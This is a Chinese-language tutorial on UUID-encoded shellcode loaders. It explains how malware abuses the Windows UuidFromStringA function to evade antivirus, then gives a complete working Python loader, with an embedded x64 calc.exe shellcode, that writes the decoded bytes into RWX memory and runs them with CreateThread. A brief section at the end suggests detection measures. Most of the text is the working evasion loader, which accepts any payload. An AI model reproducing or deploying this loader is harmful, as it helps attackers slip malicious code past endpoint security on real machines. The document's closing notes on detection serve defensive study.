xChar

首先了解一下UUID: UUID(通用唯一标识符)是一种128位的值,常用于软件系统中,用以提供几乎可以保证唯一性的引用。它通常以字符串形式表示,由十六进制数字组成,并被划分为五个部分。由于其结构和生成方式(基于时间戳或随机数),UUID发生冲突的可能性极低,因此非常适合在分布式系统中用于标识对象或记录,尤其是在缺乏中心化唯一性管理机制的场景下。

恶意脚本, 主要利用了微软提供的一个API函数:UuidFromStringA(), 该函数可以将UUID 字符串转换为二进制格式。因此,上面的一堆UUID, 一旦解码为原始字节, 就会以shellcode的身份注入到内存中执行。利用这种技术的恶意软件逃避追杀的概率极高, VT评分仅为:2/61。

基于UUID的Shellcode加载器(Python实现)
这段代码模拟了攻击者如何将Shellcode编码为UUID格式,并在内存中加载执行。实际攻击中,此类代码可能用于绕过AV/EDR检测。

假设我们有一段简单的Shellcode(如弹计算器calc.exe的x64 Shellcode),可以将其分割为16字节的块,并转换为UUID格式:

import ctypes
import uuid

def generate_uuid_shellcode(shellcode):
    """将Shellcode转换为UUID格式的字符串列表"""
    uuid_shellcode = []
    for i in range(0, len(shellcode), 16):
        chunk = shellcode[i:i+16]
        # 不足16字节用NOP (0x90) 填充
        if len(chunk) < 16:
            chunk += b"\x90" * (16 - len(chunk))
        uuid_str = str(uuid.UUID(bytes_le=chunk))
        uuid_shellcode.append(uuid_str)
    return uuid_shellcode

def execute_uuid_shellcode(uuid_shellcode):
    """在内存中加载并执行UUID格式的Shellcode"""
    # 分配可读、可写、可执行的内存 (RWX)
    rwx_page = ctypes.windll.kernel32.VirtualAlloc(
        ctypes.c_int(0),
        ctypes.c_int(len(uuid_shellcode) * 16),
        ctypes.c_int(0x1000),  # MEM_COMMIT
        ctypes.c_int(0x40)     # PAGE_EXECUTE_READWRITE
    )
    if not rwx_page:
        print("[!] VirtualAlloc 失败!")
        return False

    # 将UUID字符串转换回二进制并写入内存
    ptr = rwx_page
    for u in uuid_shellcode:
        status = ctypes.windll.rpcrt4.UuidFromStringA(
            ctypes.c_char_p(u.encode()),
            ctypes.c_void_p(ptr)
        )
        if status != 0:
            print(f"[!] UuidFromStringA 失败 (状态: {status})")
            return False
        ptr += 16

    # 创建线程执行Shellcode
    thread_handle = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.c_void_p(rwx_page),
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.pointer(ctypes.c_int(0))
    )
    if not thread_handle:
        print("[!] CreateThread 失败!")
        return False

    # 等待线程结束
    ctypes.windll.kernel32.WaitForSingleObject(
        ctypes.c_int(thread_handle),
        ctypes.c_int(-1)
    )
    return True

if __name__ == "__main__":
    # 示例Shellcode (x64弹计算器,需替换为实际研究用途的Shellcode)
    shellcode = (
        b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
        b"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
        b"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
        b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
        b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
        b"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
        b"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
        b"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
        b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
        b"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
        b"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
        b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
        b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
        b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
        b"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
        b"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
        b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
        b"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
        b"\x63\x2e\x65\x78\x65\x00"
    )

    # 生成UUID格式的Shellcode
    print("[+] 生成UUID格式的Shellcode...")
    uuid_shellcode = generate_uuid_shellcode(shellcode)
    for u in uuid_shellcode:
        print(f'"{u}",')

    # 执行Shellcode
    print("\n[+] 执行Shellcode...")
    if execute_uuid_shellcode(uuid_shellcode):
        print("[+] Shellcode执行完成!")
    else:
        print("[!] Shellcode执行失败!")

关键代码解释

generate_uuid_shellcode

  • 将原始Shellcode按16字节分块。
  • 每块转换为UUID字符串(小端字节序)。

execute_uuid_shellcode

  1. 使用 VirtualAlloc 分配 RWX 内存。
  2. 调用 UuidFromStringA 将 UUID 还原为二进制并写入内存。
  3. 通过 CreateThread 执行内存中的 Shellcode。

Shellcode替换

  • 示例中的 Shellcode 是 x64 弹计算器的 Payload,实际研究中可替换为其他合法用途的 Shellcode(如漏洞研究中的 PoC)。

防御建议

监控以下 API 调用:

  • VirtualAlloc + CreateThread 组合。
  • UuidFromStringA 用于转换长字符串。

行为检测:

  • 检查进程是否频繁分配 RWX 内存。
  • 使用 EDR 工具(如 Elastic Endpoint)捕获内存注入行为。

测试环境:

  • 仅在隔离的虚拟机(如 VMware + 快照)中运行此类代码。

请始终遵守渗透测试授权和合规性要求!

Loading comments...